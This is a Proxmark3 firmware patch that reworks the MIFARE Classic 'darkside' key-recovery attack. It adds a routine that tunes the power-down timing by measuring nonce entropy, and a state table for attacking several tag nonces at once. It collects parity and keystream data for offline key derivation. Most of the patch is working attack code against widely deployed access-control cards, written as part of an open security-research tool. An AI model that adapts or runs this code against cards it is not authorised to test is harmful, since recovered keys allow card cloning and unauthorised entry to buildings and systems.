From 401afb61c7890af1407f261aace14b0241a4e28a Mon Sep 17 00:00:00 2001 From: "martin.holst@gmail.com" Date: Sat, 15 Jun 2013 10:21:39 +0000 Subject: [PATCH 1/1] Major changes to 'hf mf mifare', see discussion here : http://www.proxmark.org/forum/viewtopic.php?pid=7492#p7492 . Support added for tracking multiple NT to attack, plus support for 'MF-tuning' - finding out what time the tag needs to power down (and reset nonce counter) --- armsrc/iso14443a.c | 367 ++++++++++++++++++++++++++++++++++----------- 1 file changed, 281 insertions(+), 86 deletions(-) diff --git a/armsrc/iso14443a.c b/armsrc/iso14443a.c index bbe748b0..0a5512b4 100644 --- a/armsrc/iso14443a.c +++ b/armsrc/iso14443a.c @@ -1811,18 +1811,220 @@ void ReaderIso14443a(UsbCommand * c) LEDsoff(); } +#define TEST_LENGTH 100 +typedef struct mftest{ + uint8_t nt[8]; + uint8_t count; +}mftest ; + +/** + *@brief Tunes the mifare attack settings. This method checks the nonce entropy when + *using a specified timeout. + *Different cards behave differently, some cards require up to a second to power down (and thus reset + *token generator), other cards are fine with 50 ms. + * + * @param time + * @return the entropy. A value of 100 (%) means that every nonce was unique, while a value close to + *zero indicates a low entropy: the given timeout is sufficient to power down the card. + */ +int TuneMifare(int time) +{ + // Mifare AUTH + uint8_t mf_auth[] = { 0x60,0x00,0xf5,0x7b }; + //uint8_t mf_nr_ar[] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; + uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET); // was 3560 - tied to other size changes + + iso14443a_setup(); + int TIME1=time; + int TIME2=2000; + uint8_t uid[8]; + uint32_t cuid; + byte_t nt[4]; + Dbprintf("Tuning... testing a delay of %d ms",time); + + + mftest nt_values[TEST_LENGTH]; + int nt_size = 0; + int i = 0; + for(i = 0 ; i< 100 ; i++) + { + LED_C_OFF(); + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + SpinDelay(TIME1); + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD); + LED_C_ON(); + SpinDelayUs(TIME2); + if(!iso14443a_select_card(uid, NULL, &cuid)) continue; + + // Transmit MIFARE_CLASSIC_AUTH + ReaderTransmit(mf_auth, sizeof(mf_auth)); + + // Receive the (16 bit) "random" nonce + if (!ReaderReceive(receivedAnswer)) continue; + memcpy(nt, receivedAnswer, 4); + + //store it + int already_stored = 0; + for(int i = 0 ; i < nt_size && !already_stored; i++) + { + if( memcmp(nt, nt_values[i].nt, 4) == 0) + { + nt_values[i].count++; + already_stored = 1; + } + } + if(!already_stored) + { + mftest* ptr= &nt_values[nt_size++]; + //Clear it before use + memset(ptr, 0, sizeof(mftest)); + memcpy(ptr->nt, nt, 4); + ptr->count = 1; + } + + if(BUTTON_PRESS()) + { + Dbprintf("Tuning aborted prematurely"); + break; + } + } + /* + for(int i = 0 ; i < nt_size;i++){ + mftest x = nt_values[i]; + Dbprintf("%d,%d,%d,%d : %d",x.nt[0],x.nt[1],x.nt[2],x.nt[3],x.count); + } + */ + int result = nt_size *100 / i; + Dbprintf(" ... results for %d ms : %d %",time, result); + return result; +} + //----------------------------------------------------------------------------- // Read an ISO 14443a tag. Send out commands and store answers. // //----------------------------------------------------------------------------- +#define STATE_SIZE 100 +typedef struct AttackState{ + byte_t nt[4]; + //byte_t nt_attacked[4]; + byte_t par_list[8]; + byte_t ks_list[8]; + byte_t par; + byte_t par_low; + byte_t nt_diff; + uint8_t mf_nr_ar[8]; +} AttackState; + + +int continueAttack(AttackState* pState,uint8_t* receivedAnswer) +{ + + // Transmit reader nonce and reader answer + ReaderTransmitPar(pState->mf_nr_ar, sizeof(pState->mf_nr_ar),pState->par); + + // Receive 4 bit answer + int len = ReaderReceive(receivedAnswer); + if (!len) + { + if (pState->nt_diff == 0) + { + pState->par++; + } else { + pState->par = (((pState->par >> 3) + 1) << 3) | pState->par_low; + } + return 2; + } + if(pState->nt_diff == 0) + { + pState->par_low = pState->par & 0x07; + } + //Dbprintf("answer received, parameter (%d), (memcmp(nt, nt_no)=%d",parameter,memcmp(nt, nt_noattack, 4)); + //if ( (parameter != 0) && (memcmp(nt, nt_noattack, 4) == 0) ) continue; + //isNULL = 0;//|| !(nt_attacked[0] == 0) && (nt_attacked[1] == 0) && (nt_attacked[2] == 0) && (nt_attacked[3] == 0); + // + // if ( /*(isNULL != 0 ) && */(memcmp(nt, nt_attacked, 4) != 0) ) continue; + + //led_on = !led_on; + //if(led_on) LED_B_ON(); else LED_B_OFF(); + pState->par_list[pState->nt_diff] = pState->par; + pState->ks_list[pState->nt_diff] = receivedAnswer[0] ^ 0x05; + + // Test if the information is complete + if (pState->nt_diff == 0x07) { + return 0; + } + + pState->nt_diff = (pState->nt_diff + 1) & 0x07; + pState->mf_nr_ar[3] = pState->nt_diff << 5; + pState->par = pState->par_low; + return 1; +} + +void reportResults(uint8_t uid[8],AttackState *pState, int isOK) +{ + LogTrace(pState->nt, 4, 0, GetParity(pState->nt, 4), TRUE); + LogTrace(pState->par_list, 8, 0, GetParity(pState->par_list, 8), TRUE); + LogTrace(pState->ks_list, 8, 0, GetParity(pState->ks_list, 8), TRUE); + + byte_t buf[48]; + memcpy(buf + 0, uid, 4); + if(pState != NULL) + { + memcpy(buf + 4, pState->nt, 4); + memcpy(buf + 8, pState->par_list, 8); + memcpy(buf + 16, pState->ks_list, 8); + } + + LED_B_ON(); + cmd_send(CMD_ACK,isOK,0,0,buf,48); + LED_B_OFF(); + + // Thats it... + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + LEDsoff(); + tracing = TRUE; + + if (MF_DBGLEVEL >= 1) DbpString("COMMAND mifare FINISHED"); +} + + + + void ReaderMifare(uint32_t parameter) { + /** + *First, we tune it. + **/ + int entropy = 100; + int time = 25; + entropy = TuneMifare(time); + + while(entropy > 50 && time < 2000){ + //Increase timeout, but never more than 500ms at a time + time = MIN(time*2, time+500); + entropy = TuneMifare(time); + } + + if(entropy > 50){ + Dbprintf("OBS! This card has high entropy (%d) and slow power-down. This may take a while", entropy); + } + Dbprintf("Using power-down-time of %d ms, entropy %d", time, entropy); + + /** + *Allocate our state-table and initialize with zeroes + **/ + + + AttackState states[STATE_SIZE] ; + + + Dbprintf("Memory allocated ok! (%d bytes)",STATE_SIZE*sizeof(AttackState) ); + memset(states, 0, STATE_SIZE*sizeof(AttackState)); // Mifare AUTH uint8_t mf_auth[] = { 0x60,0x00,0xf5,0x7b }; - uint8_t mf_nr_ar[] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; - uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET); // was 3560 - tied to other size changes - traceLen = 0; + + traceLen = 0; tracing = false; iso14443a_setup(); @@ -1831,37 +2033,26 @@ void ReaderMifare(uint32_t parameter) LED_B_OFF(); LED_C_OFF(); - byte_t nt_diff = 0; LED_A_OFF(); - byte_t par = 0; - //byte_t par_mask = 0xff; - byte_t par_low = 0; - int led_on = TRUE; uint8_t uid[8]; uint32_t cuid; - tracing = FALSE; - byte_t nt[4] = {0,0,0,0}; - byte_t nt_attacked[4], nt_noattack[4]; - byte_t par_list[8] = {0,0,0,0,0,0,0,0}; - byte_t ks_list[8] = {0,0,0,0,0,0,0,0}; - num_to_bytes(parameter, 4, nt_noattack); - int isOK = 0, isNULL = 0; - - while(TRUE) + byte_t nt_noattack[4]; + num_to_bytes(parameter, 4, nt_noattack); + byte_t nt[4]; + int nts_attacked= 0; + //Keeps track of progress (max value of nt_diff for our states) + int progress = 0; + int high_entropy_warning_issued = 0; + while(!BUTTON_PRESS()) { LED_C_OFF(); FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - SpinDelay(50); + SpinDelay(time); FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD); LED_C_ON(); SpinDelay(2); - // Test if the action was cancelled - if(BUTTON_PRESS()) { - break; - } - if(!iso14443a_select_card(uid, NULL, &cuid)) continue; // Transmit MIFARE_CLASSIC_AUTH @@ -1869,76 +2060,80 @@ void ReaderMifare(uint32_t parameter) // Receive the (16 bit) "random" nonce if (!ReaderReceive(receivedAnswer)) continue; - memcpy(nt, receivedAnswer, 4); - - // Transmit reader nonce and reader answer - ReaderTransmitPar(mf_nr_ar, sizeof(mf_nr_ar),par); - - // Receive 4 bit answer - if (ReaderReceive(receivedAnswer)) - { - if ( (parameter != 0) && (memcmp(nt, nt_noattack, 4) == 0) ) continue; - - isNULL = !(nt_attacked[0] == 0) && (nt_attacked[1] == 0) && (nt_attacked[2] == 0) && (nt_attacked[3] == 0); - if ( (isNULL != 0 ) && (memcmp(nt, nt_attacked, 4) != 0) ) continue; - - if (nt_diff == 0) - { - LED_A_ON(); - memcpy(nt_attacked, nt, 4); - //par_mask = 0xf8; - par_low = par & 0x07; - } + memcpy(nt, receivedAnswer, 4); + + //Now we have the NT. Check if this NT is already under attack + AttackState* pState = NULL; + int i = 0; + for(i = 0 ; i < nts_attacked && pState == NULL; i++) + { + if( memcmp(nt, states[i].nt, 4) == 0) + { + //we have it + pState = &states[i]; + //Dbprintf("Existing state found (%d)", i); + } + } - led_on = !led_on; - if(led_on) LED_B_ON(); else LED_B_OFF(); - par_list[nt_diff] = par; - ks_list[nt_diff] = receivedAnswer[0] ^ 0x05; + if(pState == NULL){ + if(nts_attacked < STATE_SIZE ) + { + //Initialize a new state + pState = &states[nts_attacked++]; + //Clear it before use + memset(pState, 0, sizeof(AttackState)); + memcpy(pState->nt, nt, 4); + i = nts_attacked; + //Dbprintf("New state created, nt="); + }else if(!high_entropy_warning_issued){ + /** + *If we wound up here, it means that the state table was eaten up by potential nonces. This could be fixed by + *increasing the size of the state buffer, however, it points to some other problem. Ideally, we should get the same nonce + *every time. Realistically we should get a few different nonces, but if we get more than 50, there is probably somehting + *else that is wrong. An attack using too high nonce entropy will take **LONG** time to finish. + */ + DbpString("WARNING: Nonce entropy is suspiciously high, something is wrong. Check timeouts (and perhaps increase STATE_SIZE)"); + high_entropy_warning_issued = 1; + } + } - // Test if the information is complete - if (nt_diff == 0x07) { - isOK = 1; - break; - } - nt_diff = (nt_diff + 1) & 0x07; - mf_nr_ar[3] = nt_diff << 5; - par = par_low; - } else { - if (nt_diff == 0) - { - par++; - } else { - par = (((par >> 3) + 1) << 3) | par_low; - } - } - } - LogTrace(nt, 4, 0, GetParity(nt, 4), TRUE); - LogTrace(par_list, 8, 0, GetParity(par_list, 8), TRUE); - LogTrace(ks_list, 8, 0, GetParity(ks_list, 8), TRUE); + if(pState == NULL) continue; - byte_t buf[48]; -// UsbCommand ack = {CMD_ACK, {isOK, 0, 0}}; - memcpy(buf + 0, uid, 4); - memcpy(buf + 4, nt, 4); - memcpy(buf + 8, par_list, 8); - memcpy(buf + 16, ks_list, 8); - - LED_B_ON(); - cmd_send(CMD_ACK,isOK,0,0,buf,48); -// UsbSendPacket((uint8_t *)&ack, sizeof(UsbCommand)); - LED_B_OFF(); + int result = continueAttack(pState, receivedAnswer); - // Thats it... - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - LEDsoff(); - tracing = TRUE; - - if (MF_DBGLEVEL >= 1) DbpString("COMMAND mifare FINISHED"); + if(result == 1){ + //One state progressed another step + if(pState->nt_diff > progress) + { + progress = pState->nt_diff; + //Alert the user + Dbprintf("Recovery progress: %d/8, NTs attacked: %d ", progress,nts_attacked ); + } + //Dbprintf("State increased to %d in state %d", pState->nt_diff, i); + } + else if(result == 2){ + //Dbprintf("Continue attack no answer, par is now %d", pState->par); + } + else if(result == 0){ + //uint64_t par_list = bytes_to_num((uint8_t*)&pState->par_list, 8); + //uint64_t ks_list = bytes_to_num((uint8_t*)&pState->ks_list, 8); + //uint32_t xnt = bytes_to_num((uint8_t*)&pState->nt,4 ); + //uint32_t xuid = (uint32_t)bytes_to_num((uint8_t*)&uid, 4); + //Dbprintf("\n#nuid(%08x) nt(%08x) par(%016x) ks(%016x)",xuid,xnt,par_list,ks_list); + //Dbprintf("\n./nonce2key %08x %08x %016x %016x\n",xuid,xnt,par_list,ks_list); + //Dbprintf("Finished"); + reportResults(uid,pState,1); + return; + //memset(pState, 0, sizeof(AttackState)); + //memcpy(pState->nt, nt, 4); + //Dbprintf("State reset for state %d!", i); + //return; + } + } + reportResults(uid,NULL,0); } - - //----------------------------------------------------------------------------- // MIFARE 1K simulate. // -- 2.39.5